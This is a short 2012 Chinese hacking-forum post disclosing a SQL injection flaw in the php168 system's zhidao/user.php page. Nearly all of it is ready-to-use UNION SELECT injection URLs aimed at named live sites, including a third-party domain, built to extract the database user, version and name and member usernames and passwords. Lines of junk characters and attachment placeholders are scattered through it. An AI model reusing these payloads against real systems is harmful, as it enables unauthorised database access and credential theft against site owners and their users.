中国网络渗透测试联盟

标题: php168某系统注入漏洞 [打印本页]

作者: admin 时间: 2012-10-18 08:52
标题: php168某系统注入漏洞
http://v7.php168.com/zhidao/user.php?j=question&u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
, u/ `% k) C# E! t% d, [. r" ~' H
7 U; _; N6 |& n* Q7 x, @2 N; o/ A                                     [attach]94[/attach]. e; r8 M; |# T
! |% o6 c; \6 M6 V
http://www.china-highway.com/zhidao/user.php?%00&j=question&u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
6 O, y9 m9 C* R* Q
7 W* B. o/ D4 h: p1 Y) w
: O' c' H5 [2 \) Z  {0 ]  r                                                       [attach]95[/attach]+ T4 o  U1 r1 ~) Y
http://v7.php168.com/zhidao/user ... u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--4 B# R) T, c4 m( W! q' |0 u
) H7 _+ c% s1 g7 f$ r

; |/ _! W# Z/ f4 @/ q' Z  x& V/ F$ N; C8 [+ [0 X0 l7 ^8 Q" V
                                                         [attach]96[/attach]
' u) J8 j' X( J. x4 N* |7 R / X6 T# S4 ]5 \9 B" x0 r) p5 Z0 B
http://www.china-highway.com/zhi ... u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--' \/ A# k0 |8 b4 x5 B! x$ y

% m+ x3 o% \) v- S6 Y! ^0 x3 {) }2 J4 ?9 {& c. d% @7 |7 W

* M' S0 c( |! v/ U- ~- d" Q2 n. L                                                                   [attach]97[/attach]
% |1 T' g7 Q; y7 b

欢迎光临中国网络渗透测试联盟 (https://www.cobjon.com/)